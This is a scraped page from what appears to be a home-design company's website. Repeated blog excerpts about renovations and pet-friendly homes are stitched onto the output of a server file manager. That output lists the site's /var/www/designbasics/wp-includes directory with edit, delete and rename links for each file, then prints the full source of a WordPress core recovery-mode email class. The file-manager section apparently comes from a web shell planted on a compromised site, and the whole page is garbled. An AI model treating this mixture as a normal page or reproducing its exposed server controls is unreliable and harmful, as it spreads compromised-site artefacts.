Recent Posts For
Putting money back into your home can be a huge advantage for many people. While you may be sacrificing some money upfront to finance renovations, luckily you will be able to reacquire some cash on the back end if you ever sell your home.
We can be happy about many things: it’s going to be sunny today; your favorite team won the game; the item you’ve been eyeing went on sale. Joy is different. Joy is about deep relational connection, that according to clinical psychologist Dr. Jim Wilder, comes from being with people who are glad to be with you. We yearn for this joy, as we came to realize during Covid-19’s forced isolation. Gathering together is life-giving, and a fundamental consideration of residential design. How our homes accommodate or frustrate, how we like to socialize will have a profound impact on our happiness.
Putting money back into your home can be a huge advantage for many people. While you may be sacrificing some money upfront to finance renovations, luckily you will be able to reacquire some cash on the back end if you ever sell your home.
Putting money back into your home can be a huge advantage for many people. While you may be sacrificing some money upfront to finance renovations, luckily you will be able to reacquire some cash on the back end if you ever sell your home.
Few things you’ll do in your life are as simultaneously thrilling and terrifying as buying a home. To an extent, these conflicting excitements and fears are unavoidable. But the fears don’t have to be quite as bad as they’re sometimes made out to be — particularly with regard to pure finances.
Putting money back into your home can be a huge advantage for many people. While you may be sacrificing some money upfront to finance renovations, luckily you will be able to reacquire some cash on the back end if you ever sell your home.
Eco-friendly home upgrades can be beneficial for a variety of reasons for both you and the environment. From installing new systems and appliances to reducing our waste, every green choice we make helps us create a better environment for the planet. It’s important as...
Adding new home plans to your portfolio is risky. Will the design attract buyers? How much will that home cost to build? Design Basics’ Concierge Service is designed to help you minimize such risks. We know what is selling in terms of home design. Based on your goals...
Always on the go? Then you're sure to appreciate our Travel Center option, designed to keep everything handy and make packing a snap! You know where your suitcase has been...so you're probably not going to want to pack it on the clean bedspread! Our travel center was...
Are your dogs treated as full-fledged family members? For many of the 4 in 10 U.S. households with dogs, the answer is “Yes!” From floor plan layouts to material selections to innovative amenities, pet-centric homes make life better for Spot and his owners. Studies...
Current Dir: /var/www/designbasics/wp-includes/ [DIR] ID3 [ delete | rename ] [DIR] IXR [ delete | rename ] [DIR] PHPMailer [ delete | rename ] [DIR] Requests [ delete | rename ] [DIR] SimplePie [ delete | rename ] [DIR] Text [ delete | rename ] [FILE] admin-bar.php [ edit | delete | rename ] [DIR] assets [ delete | rename ] [FILE] atomlib.php [ edit | delete | rename ] [FILE] author-template.php [ edit | delete | rename ] [DIR] block-bindings [ delete | rename ] [FILE] block-bindings.php [ edit | delete | rename ] [FILE] block-editor.php [ edit | delete | rename ] [FILE] block-i18n.json [ edit | delete | rename ] [DIR] block-patterns [ delete | rename ] [FILE] block-patterns.php [ edit | delete | rename ] [DIR] block-supports [ delete | rename ] [FILE] block-template-utils.php [ edit | delete | rename ] [FILE] block-template.php [ edit | delete | rename ] [DIR] blocks [ delete | rename ] [FILE] blocks.php [ edit | delete | rename ] [FILE] bookmark-template.php [ edit | delete | rename ] [FILE] bookmark.php [ edit | delete | rename ] [FILE] cache-compat.php [ edit | delete | rename ] [FILE] cache.php [ edit | delete | rename ] [FILE] canonical.php [ edit | delete | rename ] [FILE] capabilities.php [ edit | delete | rename ] [FILE] category-template.php [ edit | delete | rename ] [FILE] category.php [ edit | delete | rename ] [DIR] certificates [ delete | rename ] [FILE] class-IXR.php [ edit | delete | rename ] [FILE] class-avif-info.php [ edit | delete | rename ] [FILE] class-feed.php [ edit | delete | rename ] [FILE] class-http.php [ edit | delete | rename ] [FILE] class-json.php [ edit | delete | rename ] [FILE] class-oembed.php [ edit | delete | rename ] [FILE] class-phpass.php [ edit | delete | rename ] [FILE] class-phpmailer.php [ edit | delete | rename ] [FILE] class-pop3.php [ edit | delete | rename ] [FILE] class-requests.php [ edit | delete | rename ] [FILE] class-simplepie.php [ edit | delete | rename ] [FILE] class-smtp.php [ edit | delete | rename ] [FILE] class-snoopy.php [ edit | delete | rename ] [FILE] class-walker-category-dropdown.php [ edit | delete | rename ] [FILE] class-walker-category.php [ edit | delete | rename ] [FILE] class-walker-comment.php [ edit | delete | rename ] [FILE] class-walker-nav-menu.php [ edit | delete | rename ] [FILE] class-walker-page-dropdown.php [ edit | delete | rename ] [FILE] class-walker-page.php [ edit | delete | rename ] [FILE] class-wp-admin-bar.php [ edit | delete | rename ] [FILE] class-wp-ajax-response.php [ edit | delete | rename ] [FILE] class-wp-application-passwords.php [ edit | delete | rename ] [FILE] class-wp-block-bindings-registry.php [ edit | delete | rename ] [FILE] class-wp-block-bindings-source.php [ edit | delete | rename ] [FILE] class-wp-block-editor-context.php [ edit | delete | rename ] [FILE] class-wp-block-list.php [ edit | delete | rename ] [FILE] class-wp-block-parser-block.php [ edit | delete | rename ] [FILE] class-wp-block-parser-frame.php [ edit | delete | rename ] [FILE] class-wp-block-parser.php [ edit | delete | rename ] [FILE] class-wp-block-pattern-categories-registry.php [ edit | delete | rename ] [FILE] class-wp-block-patterns-registry.php [ edit | delete | rename ] [FILE] class-wp-block-styles-registry.php [ edit | delete | rename ] [FILE] class-wp-block-supports.php [ edit | delete | rename ] [FILE] class-wp-block-template.php [ edit | delete | rename ] [FILE] class-wp-block-type-registry.php [ edit | delete | rename ] [FILE] class-wp-block-type.php [ edit | delete | rename ] [FILE] class-wp-block.php [ edit | delete | rename ] [FILE] class-wp-classic-to-block-menu-converter.php [ edit | delete | rename ] [FILE] class-wp-comment-query.php [ edit | delete | rename ] [FILE] class-wp-comment.php [ edit | delete | rename ] [FILE] class-wp-customize-control.php [ edit | delete | rename ] [FILE] class-wp-customize-manager.php [ edit | delete | rename ] [FILE] class-wp-customize-nav-menus.php [ edit | delete | rename ] [FILE] class-wp-customize-panel.php [ edit | delete | rename ] [FILE] class-wp-customize-section.php [ edit | delete | rename ] [FILE] class-wp-customize-setting.php [ edit | delete | rename ] [FILE] class-wp-customize-widgets.php [ edit | delete | rename ] [FILE] class-wp-date-query.php [ edit | delete | rename ] [FILE] class-wp-dependencies.php [ edit | delete | rename ] [FILE] class-wp-dependency.php [ edit | delete | rename ] [FILE] class-wp-duotone.php [ edit | delete | rename ] [FILE] class-wp-editor.php [ edit | delete | rename ] [FILE] class-wp-embed.php [ edit | delete | rename ] [FILE] class-wp-error.php [ edit | delete | rename ] [FILE] class-wp-fatal-error-handler.php [ edit | delete | rename ] [FILE] class-wp-feed-cache-transient.php [ edit | delete | rename ] [FILE] class-wp-feed-cache.php [ edit | delete | rename ] [FILE] class-wp-hook.php [ edit | delete | rename ] [FILE] class-wp-http-cookie.php [ edit | delete | rename ] [FILE] class-wp-http-curl.php [ edit | delete | rename ] [FILE] class-wp-http-encoding.php [ edit | delete | rename ] [FILE] class-wp-http-ixr-client.php [ edit | delete | rename ] [FILE] class-wp-http-proxy.php [ edit | delete | rename ] [FILE] class-wp-http-requests-hooks.php [ edit | delete | rename ] [FILE] class-wp-http-requests-response.php [ edit | delete | rename ] [FILE] class-wp-http-response.php [ edit | delete | rename ] [FILE] class-wp-http-streams.php [ edit | delete | rename ] [FILE] class-wp-http.php [ edit | delete | rename ] [FILE] class-wp-image-editor-gd.php [ edit | delete | rename ] [FILE] class-wp-image-editor-imagick.php [ edit | delete | rename ] [FILE] class-wp-image-editor.php [ edit | delete | rename ] [FILE] class-wp-list-util.php [ edit | delete | rename ] [FILE] class-wp-locale-switcher.php [ edit | delete | rename ] [FILE] class-wp-locale.php [ edit | delete | rename ] [FILE] class-wp-matchesmapregex.php [ edit | delete | rename ] [FILE] class-wp-meta-query.php [ edit | delete | rename ] [FILE] class-wp-metadata-lazyloader.php [ edit | delete | rename ] [FILE] class-wp-navigation-fallback.php [ edit | delete | rename ] [FILE] class-wp-network-query.php [ edit | delete | rename ] [FILE] class-wp-network.php [ edit | delete | rename ] [FILE] class-wp-object-cache.php [ edit | delete | rename ] [FILE] class-wp-oembed-controller.php [ edit | delete | rename ] [FILE] class-wp-oembed.php [ edit | delete | rename ] [FILE] class-wp-paused-extensions-storage.php [ edit | delete | rename ] [FILE] class-wp-plugin-dependencies.php [ edit | delete | rename ] [FILE] class-wp-post-type.php [ edit | delete | rename ] [FILE] class-wp-post.php [ edit | delete | rename ] [FILE] class-wp-query.php [ edit | delete | rename ] [FILE] class-wp-recovery-mode-cookie-service.php [ edit | delete | rename ] [FILE] class-wp-recovery-mode-email-service.php [ edit | delete | rename ] [FILE] class-wp-recovery-mode-key-service.php [ edit | delete | rename ] [FILE] class-wp-recovery-mode-link-service.php [ edit | delete | rename ] [FILE] class-wp-recovery-mode.php [ edit | delete | rename ] [FILE] class-wp-rewrite.php [ edit | delete | rename ] [FILE] class-wp-role.php [ edit | delete | rename ] [FILE] class-wp-roles.php [ edit | delete | rename ] [FILE] class-wp-script-modules.php [ edit | delete | rename ] [FILE] class-wp-scripts.php [ edit | delete | rename ] [FILE] class-wp-session-tokens.php [ edit | delete | rename ] [FILE] class-wp-simplepie-file.php [ edit | delete | rename ] [FILE] class-wp-simplepie-sanitize-kses.php [ edit | delete | rename ] [FILE] class-wp-site-query.php [ edit | delete | rename ] [FILE] class-wp-site.php [ edit | delete | rename ] [FILE] class-wp-styles.php [ edit | delete | rename ] [FILE] class-wp-tax-query.php [ edit | delete | rename ] [FILE] class-wp-taxonomy.php [ edit | delete | rename ] [FILE] class-wp-term-query.php [ edit | delete | rename ] [FILE] class-wp-term.php [ edit | delete | rename ] [FILE] class-wp-text-diff-renderer-inline.php [ edit | delete | rename ] [FILE] class-wp-text-diff-renderer-table.php [ edit | delete | rename ] [FILE] class-wp-textdomain-registry.php [ edit | delete | rename ] [FILE] class-wp-theme-json-data.php [ edit | delete | rename ] [FILE] class-wp-theme-json-resolver.php [ edit | delete | rename ] [FILE] class-wp-theme-json-schema.php [ edit | delete | rename ] [FILE] class-wp-theme-json.php [ edit | delete | rename ] [FILE] class-wp-theme.php [ edit | delete | rename ] [FILE] class-wp-token-map.php [ edit | delete | rename ] [FILE] class-wp-user-meta-session-tokens.php [ edit | delete | rename ] [FILE] class-wp-user-query.php [ edit | delete | rename ] [FILE] class-wp-user-request.php [ edit | delete | rename ] [FILE] class-wp-user.php [ edit | delete | rename ] [FILE] class-wp-walker.php [ edit | delete | rename ] [FILE] class-wp-widget-factory.php [ edit | delete | rename ] [FILE] class-wp-widget.php [ edit | delete | rename ] [FILE] class-wp-xmlrpc-server.php [ edit | delete | rename ] [FILE] class-wp.php [ edit | delete | rename ] [FILE] class-wpdb.php [ edit | delete | rename ] [FILE] class.wp-dependencies.php [ edit | delete | rename ] [FILE] class.wp-scripts.php [ edit | delete | rename ] [FILE] class.wp-styles.php [ edit | delete | rename ] [FILE] comment-template.php [ edit | delete | rename ] [FILE] comment.php [ edit | delete | rename ] [FILE] compat.php [ edit | delete | rename ] [FILE] cron.php [ edit | delete | rename ] [DIR] css [ delete | rename ] [DIR] customize [ delete | rename ] [FILE] date.php [ edit | delete | rename ] [FILE] default-constants.php [ edit | delete | rename ] [FILE] default-filters.php [ edit | delete | rename ] [FILE] default-widgets.php [ edit | delete | rename ] [FILE] deprecated.php [ edit | delete | rename ] [FILE] embed-template.php [ edit | delete | rename ] [FILE] embed.php [ edit | delete | rename ] [FILE] error-protection.php [ edit | delete | rename ] [FILE] feed-atom-comments.php [ edit | delete | rename ] [FILE] feed-atom.php [ edit | delete | rename ] [FILE] feed-rdf.php [ edit | delete | rename ] [FILE] feed-rss.php [ edit | delete | rename ] [FILE] feed-rss2-comments.php [ edit | delete | rename ] [FILE] feed-rss2.php [ edit | delete | rename ] [FILE] feed.php [ edit | delete | rename ] [DIR] fonts [ delete | rename ] [FILE] fonts.php [ edit | delete | rename ] [FILE] formatting.php [ edit | delete | rename ] [FILE] functions.php [ edit | delete | rename ] [FILE] functions.wp-scripts.php [ edit | delete | rename ] [FILE] functions.wp-styles.php [ edit | delete | rename ] [FILE] general-template.php [ edit | delete | rename ] [FILE] global-styles-and-settings.php [ edit | delete | rename ] [DIR] html-api [ delete | rename ] [FILE] http.php [ edit | delete | rename ] [FILE] https-detection.php [ edit | delete | rename ] [FILE] https-migration.php [ edit | delete | rename ] [DIR] images [ delete | rename ] [DIR] interactivity-api [ delete | rename ] [DIR] js [ delete | rename ] [FILE] kses.php [ edit | delete | rename ] [DIR] l10n [ delete | rename ] [FILE] l10n.php [ edit | delete | rename ] [FILE] link-template.php [ edit | delete | rename ] [FILE] load.php [ edit | delete | rename ] [FILE] locale.php [ edit | delete | rename ] [FILE] media-template.php [ edit | delete | rename ] [FILE] media.php [ edit | delete | rename ] [FILE] meta.php [ edit | delete | rename ] [FILE] ms-blogs.php [ edit | delete | rename ] [FILE] ms-default-constants.php [ edit | delete | rename ] [FILE] ms-default-filters.php [ edit | delete | rename ] [FILE] ms-deprecated.php [ edit | delete | rename ] [FILE] ms-files.php [ edit | delete | rename ] [FILE] ms-functions.php [ edit | delete | rename ] [FILE] ms-load.php [ edit | delete | rename ] [FILE] ms-network.php [ edit | delete | rename ] [FILE] ms-settings.php [ edit | delete | rename ] [FILE] ms-site.php [ edit | delete | rename ] [FILE] nav-menu-template.php [ edit | delete | rename ] [FILE] nav-menu.php [ edit | delete | rename ] [FILE] option.php [ edit | delete | rename ] [DIR] php-compat [ delete | rename ] [FILE] pluggable-deprecated.php [ edit | delete | rename ] [FILE] pluggable.php [ edit | delete | rename ] [FILE] plugin.php [ edit | delete | rename ] [DIR] pomo [ delete | rename ] [FILE] post-formats.php [ edit | delete | rename ] [FILE] post-template.php [ edit | delete | rename ] [FILE] post-thumbnail-template.php [ edit | delete | rename ] [FILE] post.php [ edit | delete | rename ] [FILE] query.php [ edit | delete | rename ] [FILE] registration-functions.php [ edit | delete | rename ] [FILE] registration.php [ edit | delete | rename ] [DIR] rest-api [ delete | rename ] [FILE] rest-api.php [ edit | delete | rename ] [FILE] revision.php [ edit | delete | rename ] [FILE] rewrite.php [ edit | delete | rename ] [FILE] robots-template.php [ edit | delete | rename ] [FILE] rss-functions.php [ edit | delete | rename ] [FILE] rss.php [ edit | delete | rename ] [FILE] script-loader.php [ edit | delete | rename ] [FILE] script-modules.php [ edit | delete | rename ] [FILE] session.php [ edit | delete | rename ] [FILE] shortcodes.php [ edit | delete | rename ] [DIR] sitemaps [ delete | rename ] [FILE] sitemaps.php [ edit | delete | rename ] [DIR] sodium_compat [ delete | rename ] [FILE] spl-autoload-compat.php [ edit | delete | rename ] [DIR] style-engine [ delete | rename ] [FILE] style-engine.php [ edit | delete | rename ] [FILE] taxonomy.php [ edit | delete | rename ] [FILE] template-canvas.php [ edit | delete | rename ] [FILE] template-loader.php [ edit | delete | rename ] [FILE] template.php [ edit | delete | rename ] [DIR] theme-compat [ delete | rename ] [FILE] theme-i18n.json [ edit | delete | rename ] [FILE] theme-previews.php [ edit | delete | rename ] [FILE] theme-templates.php [ edit | delete | rename ] [FILE] theme.json [ edit | delete | rename ] [FILE] theme.php [ edit | delete | rename ] [FILE] update.php [ edit | delete | rename ] [FILE] user.php [ edit | delete | rename ] [FILE] vars.php [ edit | delete | rename ] [FILE] version.php [ edit | delete | rename ] [DIR] widgets [ delete | rename ] [FILE] widgets.php [ edit | delete | rename ] [FILE] wp-db.php [ edit | delete | rename ] [FILE] wp-diff.php [ edit | delete | rename ] Viewing: /var/www/designbasics/wp-includes/class-wp-recovery-mode-email-service.php <?php /** * Error Protection API: WP_Recovery_Mode_Email_Link class * * @package WordPress * @since 5.2.0 */ /** * Core class used to send an email with a link to begin Recovery Mode. * * @since 5.2.0 */ #[AllowDynamicProperties] final class WP_Recovery_Mode_Email_Service { const RATE_LIMIT_OPTION = 'recovery_mode_email_last_sent'; /** * Service to generate recovery mode URLs. * * @since 5.2.0 * @var WP_Recovery_Mode_Link_Service */ private $link_service; /** * WP_Recovery_Mode_Email_Service constructor. * * @since 5.2.0 * * @param WP_Recovery_Mode_Link_Service $link_service */ public function __construct( WP_Recovery_Mode_Link_Service $link_service ) { $this->link_service = $link_service; } /** * Sends the recovery mode email if the rate limit has not been sent. * * @since 5.2.0 * * @param int $rate_limit Number of seconds before another email can be sent. * @param array $error Error details from `error_get_last()`. * @param array $extension { * The extension that caused the error. * * @type string $slug The extension slug. The plugin or theme's directory. * @type string $type The extension type. Either 'plugin' or 'theme'. * } * @return true|WP_Error True if email sent, WP_Error otherwise. */ public function maybe_send_recovery_mode_email( $rate_limit, $error, $extension ) { $last_sent = get_option( self::RATE_LIMIT_OPTION ); if ( ! $last_sent || time() > $last_sent + $rate_limit ) { if ( ! update_option( self::RATE_LIMIT_OPTION, time() ) ) { return new WP_Error( 'storage_error', __( 'Could not update the email last sent time.' ) ); } $sent = $this->send_recovery_mode_email( $rate_limit, $error, $extension ); if ( $sent ) { return true; } return new WP_Error( 'email_failed', sprintf( /* translators: %s: mail() */ __( 'The email could not be sent. Possible reason: your host may have disabled the %s function.' ), 'mail()' ) ); } $err_message = sprintf( /* translators: 1: Last sent as a human time diff, 2: Wait time as a human time diff. */ __( 'A recovery link was already sent %1$s ago. Please wait another %2$s before requesting a new email.' ), human_time_diff( $last_sent ), human_time_diff( $last_sent + $rate_limit ) ); return new WP_Error( 'email_sent_already', $err_message ); } /** * Clears the rate limit, allowing a new recovery mode email to be sent immediately. * * @since 5.2.0 * * @return bool True on success, false on failure. */ public function clear_rate_limit() { return delete_option( self::RATE_LIMIT_OPTION ); } /** * Sends the Recovery Mode email to the site admin email address. * * @since 5.2.0 * * @param int $rate_limit Number of seconds before another email can be sent. * @param array $error Error details from `error_get_last()`. * @param array $extension { * The extension that caused the error. * * @type string $slug The extension slug. The directory of the plugin or theme. * @type string $type The extension type. Either 'plugin' or 'theme'. * } * @return bool Whether the email was sent successfully. */ private function send_recovery_mode_email( $rate_limit, $error, $extension ) { $url = $this->link_service->generate_url(); $blogname = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES ); $switched_locale = switch_to_locale( get_locale() ); if ( $extension ) { $cause = $this->get_cause( $extension ); $details = wp_strip_all_tags( wp_get_extension_error_description( $error ) ); if ( $details ) { $header = __( 'Error Details' ); $details = "\n\n" . $header . "\n" . str_pad( '', strlen( $header ), '=' ) . "\n" . $details; } } else { $cause = ''; $details = ''; } /** * Filters the support message sent with the the fatal error protection email. * * @since 5.2.0 * * @param string $message The Message to include in the email. */ $support = apply_filters( 'recovery_email_support_info', __( 'Please contact your host for assistance with investigating this issue further.' ) ); /** * Filters the debug information included in the fatal error protection email. * * @since 5.3.0 * * @param array $message An associative array of debug information. */ $debug = apply_filters( 'recovery_email_debug_info', $this->get_debug( $extension ) ); /* translators: Do not translate LINK, EXPIRES, CAUSE, DETAILS, SITEURL, PAGEURL, SUPPORT. DEBUG: those are placeholders. */ $message = __( 'Howdy! WordPress has a built-in feature that detects when a plugin or theme causes a fatal error on your site, and notifies you with this automated email. ###CAUSE### First, visit your website (###SITEURL###) and check for any visible issues. Next, visit the page where the error was caught (###PAGEURL###) and check for any visible issues. ###SUPPORT### If your site appears broken and you can\'t access your dashboard normally, WordPress now has a special "recovery mode". This lets you safely login to your dashboard and investigate further. ###LINK### To keep your site safe, this link will expire in ###EXPIRES###. Don\'t worry about that, though: a new link will be emailed to you if the error occurs again after it expires. When seeking help with this issue, you may be asked for some of the following information: ###DEBUG### ###DETAILS###' ); $message = str_replace( array( '###LINK###', '###EXPIRES###', '###CAUSE###', '###DETAILS###', '###SITEURL###', '###PAGEURL###', '###SUPPORT###', '###DEBUG###', ), array( $url, human_time_diff( time() + $rate_limit ), $cause ? "\n{$cause}\n" : "\n", $details, home_url( '/' ), home_url( $_SERVER['REQUEST_URI'] ), $support, implode( "\r\n", $debug ), ), $message ); $email = array( 'to' => $this->get_recovery_mode_email_address(), /* translators: %s: Site title. */ 'subject' => __( '[%s] Your Site is Experiencing a Technical Issue' ), 'message' => $message, 'headers' => '', 'attachments' => '', ); /** * Filters the contents of the Recovery Mode email. * * @since 5.2.0 * @since 5.6.0 The `$email` argument includes the `attachments` key. * * @param array $email { * Used to build a call to wp_mail(). * * @type string|array $to Array or comma-separated list of email addresses to send message. * @type string $subject Email subject * @type string $message Message contents * @type string|array $headers Optional. Additional headers. * @type string|array $attachments Optional. Files to attach. * } * @param string $url URL to enter recovery mode. */ $email = apply_filters( 'recovery_mode_email', $email, $url ); $sent = wp_mail( $email['to'], wp_specialchars_decode( sprintf( $email['subject'], $blogname ) ), $email['message'], $email['headers'], $email['attachments'] ); if ( $switched_locale ) { restore_previous_locale(); } return $sent; } /** * Gets the email address to send the recovery mode link to. * * @since 5.2.0 * * @return string Email address to send recovery mode link to. */ private function get_recovery_mode_email_address() { if ( defined( 'RECOVERY_MODE_EMAIL' ) && is_email( RECOVERY_MODE_EMAIL ) ) { return RECOVERY_MODE_EMAIL; } return get_option( 'admin_email' ); } /** * Gets the description indicating the possible cause for the error. * * @since 5.2.0 * * @param array $extension { * The extension that caused the error. * * @type string $slug The extension slug. The directory of the plugin or theme. * @type string $type The extension type. Either 'plugin' or 'theme'. * } * @return string Message about which extension caused the error. */ private function get_cause( $extension ) { if ( 'plugin' === $extension['type'] ) { $plugin = $this->get_plugin( $extension ); if ( false === $plugin ) { $name = $extension['slug']; } else { $name = $plugin['Name']; } /* translators: %s: Plugin name. */ $cause = sprintf( __( 'In this case, WordPress caught an error with one of your plugins, %s.' ), $name ); } else { $theme = wp_get_theme( $extension['slug'] ); $name = $theme->exists() ? $theme->display( 'Name' ) : $extension['slug']; /* translators: %s: Theme name. */ $cause = sprintf( __( 'In this case, WordPress caught an error with your theme, %s.' ), $name ); } return $cause; } /** * Return the details for a single plugin based on the extension data from an error. * * @since 5.3.0 * * @param array $extension { * The extension that caused the error. * * @type string $slug The extension slug. The directory of the plugin or theme. * @type string $type The extension type. Either 'plugin' or 'theme'. * } * @return array|false A plugin array {@see get_plugins()} or `false` if no plugin was found. */ private function get_plugin( $extension ) { if ( ! function_exists( 'get_plugins' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } $plugins = get_plugins(); // Assume plugin main file name first since it is a common convention. if ( isset( $plugins[ "{$extension['slug']}/{$extension['slug']}.php" ] ) ) { return $plugins[ "{$extension['slug']}/{$extension['slug']}.php" ]; } else { foreach ( $plugins as $file => $plugin_data ) { if ( str_starts_with( $file, "{$extension['slug']}/" ) || $file === $extension['slug'] ) { return $plugin_data; } } } return false; } /** * Return debug information in an easy to manipulate format. * * @since 5.3.0 * * @param array $extension { * The extension that caused the error. * * @type string $slug The extension slug. The directory of the plugin or theme. * @type string $type The extension type. Either 'plugin' or 'theme'. * } * @return array An associative array of debug information. */ private function get_debug( $extension ) { $theme = wp_get_theme(); $wp_version = get_bloginfo( 'version' ); if ( $extension ) { $plugin = $this->get_plugin( $extension ); } else { $plugin = null; } $debug = array( 'wp' => sprintf( /* translators: %s: Current WordPress version number. */ __( 'WordPress version %s' ), $wp_version ), 'theme' => sprintf( /* translators: 1: Current active theme name. 2: Current active theme version. */ __( 'Active theme: %1$s (version %2$s)' ), $theme->get( 'Name' ), $theme->get( 'Version' ) ), ); if ( null !== $plugin ) { $debug['plugin'] = sprintf( /* translators: 1: The failing plugins name. 2: The failing plugins version. */ __( 'Current plugin: %1$s (version %2$s)' ), $plugin['Name'], $plugin['Version'] ); } $debug['php'] = sprintf( /* translators: %s: The currently used PHP version. */ __( 'PHP version %s' ), PHP_VERSION ); return $debug; } }
